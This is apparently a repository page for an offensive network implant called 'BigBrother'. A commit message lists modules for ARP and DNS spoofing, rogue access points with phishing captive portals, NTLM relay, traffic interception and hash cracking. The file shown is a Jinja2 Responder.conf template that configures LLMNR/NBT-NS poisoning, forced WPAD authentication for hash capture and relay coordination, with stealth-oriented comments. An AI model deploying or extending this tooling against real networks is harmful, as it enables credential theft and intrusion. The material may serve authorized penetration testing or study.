n0mad1k
ba5143b560
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
71 lines
2.0 KiB
Django/Jinja
71 lines
2.0 KiB
Django/Jinja
{# BigBrother Responder.conf template
|
|
Jinja2 variables:
|
|
protocols: dict of protocol toggles (LLMNR, NBT-NS, mDNS, HTTP, SMB, etc.)
|
|
relay_targets: set of IPs excluded from SMB auth (for ntlm_relay)
|
|
interface: network interface
|
|
#}
|
|
[Responder Core]
|
|
|
|
; Servers to start
|
|
SQL = {{ 'On' if protocols.get('SQL', false) else 'Off' }}
|
|
SMB = {{ 'On' if protocols.get('SMB', true) else 'Off' }}
|
|
RDP = Off
|
|
Kerberos = Off
|
|
FTP = {{ 'On' if protocols.get('FTP', false) else 'Off' }}
|
|
POP = {{ 'On' if protocols.get('POP', false) else 'Off' }}
|
|
SMTP = {{ 'On' if protocols.get('SMTP', false) else 'Off' }}
|
|
IMAP = {{ 'On' if protocols.get('IMAP', false) else 'Off' }}
|
|
HTTP = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
|
|
HTTPS = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
|
|
DNS = Off
|
|
LDAP = {{ 'On' if protocols.get('LDAP', false) else 'Off' }}
|
|
DCERPC = Off
|
|
WinRM = Off
|
|
SNMP = Off
|
|
MQTT = Off
|
|
|
|
; Custom challenge — Random is stealthier than fixed
|
|
Challenge = Random
|
|
|
|
; Set specific interface
|
|
; Interface = {{ interface }}
|
|
|
|
; WPAD configuration
|
|
WPADScript = function FindProxyForURL(url, host){return "DIRECT";}
|
|
{% if protocols.get('WPAD', true) %}
|
|
; WPAD rogue proxy enabled
|
|
Serve-Html = On
|
|
Serve-Exe = Off
|
|
{% endif %}
|
|
|
|
; Force WPAD auth for hash capture
|
|
Force-WPAD-Auth = {{ 'On' if protocols.get('WPAD', true) else 'Off' }}
|
|
|
|
; Downgrade to NTLMv1 (more crackable but more detectable)
|
|
; Set to On only when specifically targeting NTLMv1
|
|
Downgrade-To-NTLMv1 = Off
|
|
|
|
; Don't respond to these machines (comma-separated hostnames)
|
|
DontRespondToNames =
|
|
|
|
{% if relay_targets %}
|
|
; Hosts excluded from SMB auth — being relayed by ntlmrelayx
|
|
; These IPs should get auth forwarded to ntlmrelayx, not captured locally
|
|
DontRespondTo = {{ relay_targets | join(', ') }}
|
|
{% else %}
|
|
DontRespondTo =
|
|
{% endif %}
|
|
|
|
[HTTP Server]
|
|
; Custom HTML to serve for WPAD/HTTP auth
|
|
HTMLToInject =
|
|
; Serve a custom EXE
|
|
Serve-Always = Off
|
|
Filename =
|
|
ExecParams =
|
|
|
|
[HTTPS Server]
|
|
; Self-signed cert params
|
|
SSLCert = certs/responder.crt
|
|
SSLKey = certs/responder.key
|